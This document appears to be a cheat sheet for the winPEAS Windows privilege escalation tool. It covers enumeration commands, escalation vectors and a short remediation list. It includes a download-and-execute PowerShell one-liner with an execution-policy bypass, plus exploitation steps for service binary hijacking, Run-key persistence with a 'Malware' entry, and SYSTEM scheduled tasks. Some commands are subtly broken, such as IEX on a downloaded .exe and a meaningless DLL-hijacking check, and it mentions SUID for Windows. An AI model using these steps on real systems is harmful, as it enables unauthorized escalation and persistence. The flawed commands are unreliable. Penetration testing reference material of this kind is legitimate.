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Winpeas

winPEAS (Windows Privilege Escalation Awesome Script) enumerates Windows systems for privilege escalation vulnerabilities and misconfigurations.

Installation

# Download binary (C# compiled)
https://github.com/carlospolop/PEASS-ng/releases/download/20250330/winPEASx64.exe
https://github.com/carlospolop/PEASS-ng/releases/download/20250330/winPEASx86.exe

# Download source and compile
git clone https://github.com/carlospolop/PEASS-ng.git
cd PEASS-ng/winPEAS/winPEASexe
# Open in Visual Studio and build

# Run directly via PowerShell
powershell -ExecutionPolicy Bypass "IEX(New-Object Net.WebClient).DownloadString('https://github.com/carlospolop/PEASS-ng/releases/download/20250330/winPEASx64.exe')"

Basic Usage

CommandDescription
winPEASx64.exeRun full enumeration
winPEASx64.exe -hDisplay help
winPEASx64.exe quietMinimal output
winPEASx64.exe cmdShow commands to run
winPEASx64.exe logfileSave output to file

Enumeration Groups

# All groups at once
winPEASx64.exe all

# Specific groups
winPEASx64.exe -group=system
winPEASx64.exe -group=user
winPEASx64.exe -group=network
winPEASx64.exe -group=programs

Key Areas

System Information

# OS details
systeminfo
[System.Environment]::OSVersion
Get-CimInstance Win32_OperatingSystem

# Installed updates (check for missing patches)
Get-HotFix
wmic qfe list

Users and Groups

# Current user
whoami
[System.Security.Principal.WindowsIdentity]::GetCurrent()

# All users
net user
Get-LocalUser

# User privileges
whoami /priv

# Group membership
net user %username%
Get-LocalGroupMember

File Permissions

# Program Files permissions
icacls "C:\Program Files"
Get-Acl "C:\Program Files" | Format-List

# Service binaries
Get-Service | Select Name,Status,StartType

Services

# List services and binaries
Get-Service | Select Name,StartType,Status
wmic service list brief

# Service binary paths (check for unquoted paths)
wmic service get name,pathname

# Start/Stop service privilege
Get-Service -Name "ServiceName" | % {$_.Status}

Scheduled Tasks

# List all tasks
Get-ScheduledTask -Recurse

# Task triggers and actions
Get-ScheduledTask | Get-ScheduledTaskInfo

# Check task binary paths (privilege escalation vector)
Get-Content "C:\Windows\System32\Tasks\*"

Registry

# Credentials in registry
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyPassword
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"

# AutoRun programs
Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"

Network

# Network information
ipconfig /all
Get-NetIPConfiguration

# Open ports
netstat -ano
Get-NetTCPConnection -State Listen

# Firewall rules
netsh advfirewall show allprofiles
Get-NetFirewallRule

Environment Variables

# Display all env vars
Get-ChildItem env:

# Sensitive data search
dir env: | findstr "API\|TOKEN\|KEY"

Privilege Escalation Vectors

UAC Bypass

# Check UAC status
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System

# UAC level (0-4, lower = easier bypass)
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin

Token Impersonation

# Check if impersonation privileges available
whoami /priv | findstr "ImpersonateUser\|AssignPrimaryToken"

# Use tools like Rotten Potato, GodPotato for token impersonation

Unquoted Service Paths

# Find unquoted paths
Get-WmiObject win32_service | Select pathname

# Check for spaces in path (exploitation vector)
C:\Program Files\Vulnerable Program\service.exe
# Exploitable as: C:\Program.exe, C:\Program Files\Vulnerable.exe

DLL Hijacking

# Check DLL search order
(New-Object System.Diagnostics.ProcessStartInfo).FileName

# Vulnerable paths to check
C:\Windows\System32
C:\Program Files\*

Vulnerable Applications

# List installed software
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select DisplayName,DisplayVersion

# Check for known vulnerable versions
# Java, Adobe Reader, QuickTime, etc.

Output Interpretation

Critical Findings (Red)

  • Unquoted service paths with spaces
  • UAC disabled or misconfigured
  • SYSTEM-owned files in writable directories
  • Weak file permissions on sensitive files
  • Kernel exploits available

Important Findings (Yellow)

  • Services running as NetworkService/LocalService
  • Interesting scheduled tasks
  • Credentials in registry/files
  • Disabled firewall rules

Exploitation Examples

Service Binary Hijacking

# If service binary path is writable:
# 1. Backup original binary
Copy-Item "C:\path\to\service.exe" "service.exe.bak"

# 2. Replace with payload (must maintain service interface)
# 3. Restart service (or wait for scheduled restart)
Restart-Service "ServiceName" -Force

Registry Manipulation

# Add Run registry entry for persistence
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Malware /t REG_SZ /d "C:\path\to\payload.exe"

# Trigger on next logon

Task Scheduler Exploitation

# Create scheduled task running as SYSTEM
$TaskAction = New-ScheduledTaskAction -Execute "C:\Windows\System32\cmd.exe" -Argument "/c calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
Register-ScheduledTask -TaskName "MyTask" -Action $TaskAction -Trigger $Trigger -User "SYSTEM"

Remediation Checklist

  • Apply all Windows updates and security patches
  • Disable unnecessary services
  • Fix unquoted service paths
  • Enable UAC
  • Remove unnecessary SUID/admin files
  • Regular credential audits
  • Monitor scheduled tasks and services
  • Implement least privilege principle
  • Seatbelt: .NET security enumeration tool
  • PowerUp: PowerShell privilege escalation checks
  • PrivEsc: Privilege escalation vector enumeration
  • Rubeus: Kerberos exploitation
  • Mimikatz: Credential dumping and manipulation

Last updated: March 2025 | GitHub